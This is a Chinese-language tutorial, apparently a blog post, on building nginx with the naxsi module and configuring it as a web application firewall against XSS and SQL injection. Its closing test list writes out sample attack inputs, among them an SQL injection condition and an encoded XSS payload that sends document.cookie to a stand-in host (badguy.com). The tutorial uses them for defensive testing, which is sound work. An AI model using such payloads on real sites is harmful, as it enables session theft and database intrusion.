Nginx使用naxsi防xss、防注入攻击配置

== 对于nginx有相应模块来完成WAF构建，此处使用的是naxsi模块。  ==

一、安装前提

  .必须安装了nginx并可提供基本服务（这个是添加模块儿的前提，自己google吧）；
  .下载naxsi模块：Naxsi ：http://naxsi.googlecode.com/files/naxsi-core-0.50.tgz  ；

二、安装说明

  、tar -xzvf naxsi-core-0.50.tgz 解压，并进入naxsi-core-0.50/naxsi_src目录下；
  、执行make & make install 命令，当然也可以使用 ./configure 指定安装位置等参数；
  、完成安装后，需要将其与nginx关联起来：
  》》在安装好的nginx/sbin/下执行./nginx -V 命令，可以查看到nginx的原有./configure配置，复制后并添加naxsi模块的路径如下。
     对于此次安装 cd /app/uatg1/lua_install/tengine-1.4.（nginx的源文件目录）下
     执行命令：./configure --prefix=/app/uatg1/nginx --conf-path=/app/uatg1/nginx/conf/nginx.conf 。。。。。。等原有的。
     添加：--add-module=/app/uatg1/lua_install/naxsi-core-0.50/naxsi_src
     可以看到执行过程显示，最后可以看到，naxsi被关联，configure成功。
  、对其执行 make & make install 命令，重新编译；

三、配置说明

    官网说明见 ：  http://code.google.com/p/naxsi/wiki/Howto#Installing_nginx_+_naxsi  ；
  、将naxsi的：naxsi-core-0.50/naxsi_config/目录下核心配置naxsi_core.rules拷贝到nginx/conf/目录下；
  、在nginx/conf/目录下新建naxsi_nbs.rules文件，用以配置使用；
  、在nginx.conf中配置：
   >、添加naxsi核心配置

?

http {
   #include /app/uatg1/lua_install/naxsi-core-0.50/naxsi_config/naxsi_core.rules;
   #若步做上第一步，则需要指定全路径
    include  naxsi_core.rules;
    include  mime.types;
    .....
   }

   >、

?

  # 配置防攻击
        location /xss {
        include naxsi_nbs.rules; #配置信息 #include naxsi_BasicRule.conf; #设置 whitelist （白名单）配置
         default_type text/plain;

        content_by_lua '
          ngx.say("({\'Test xss ,come in please!!!\'})");
        ';

         root html;
      }

location /RequestDenied {

   return ;
          #proxy_pass  [http://10.142.138.61:7130/eop/; http://10.142.138.61:7130/eop/;
  ]}
        error_page  /.html; # 在nginx/html/目录下新建的页面用来提示拦截

     >、配置naxsi_nbs.rules文件

?

#LearningMode; #Enables learning mode
 SecRulesEnabled;
 #SecRulesDisabled;
 DeniedUrl "/RequestDenied";

   ## check rules
 CheckRule "$SQL >= 8" BLOCK;
 CheckRule "$RFI >= 8" BLOCK;
 CheckRule "$TRAVERSAL >= 4"
 BLOCK; CheckRule "$EVADE >= 4" BLOCK;
 CheckRule "$XSS >= 8" BLOCK;

    、还可以添加白名单naxsi_BasicRule.conf
      测试使用：
       BasicRule wl: "mz:$ARGS_VAR:script";
      BasicRule wl: "mz:$ARGS_VAR:id";
      表示xss攻击正常是被拦截的，若被添加白名单，则不被拦截：此处是Get 参数名若为id 或者script，则不被拦截；

?

BasicRule：规则说明，具体参见： http://code.google.com/p/naxsi/wiki/BasicRule
wl:ID (WhiteList): Which rule ID(s) are whitelisted.
mz: (MatchZones): Specify the conditions to match for the rule to be whitelisted. A MatchZone must be specified in a nginx   location context to enable a rule.
◦ARGS : GET args
◦HEADERS : HTTP Headers
◦BODY : POST args
◦URL : The URL (before '?')
◦NAME : It's a suffix, indicating that the target element is the NAME of the var, not its content.
For example a whitelist targetting BODY|NAME means that the exception were triggered in the "name" of some POST (BODY) variables.

 四、测试使用说明
  、启动nginx（若已经启动，kill掉原来执行的nginx），再重新启动，这点要切记！
  、测试链接：

?

http://10.142.138.61:8888/xss/                        通过
    http://10.142.138.61:8888/xss/?id=40/**/and/**/1=1    通过，因为配置到白名单
    http://10.142.138.61:8888/xss/?name=40/**/and/**/1=1  不通过，含有条件注入
    http://10.142.138.61:8888/xss/?name=%28%29            不通过，特殊字符
    http://10.142.138.61:8888/xss/?term=%3Cscript%3Ewindow.open%28%22http://badguy.com?cookie=%22+document.cookie%29%3C/script%3E
                                                         不通过，参数内容含脚本注入
    http://10.142.138.61:8888/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22
                                                         不通过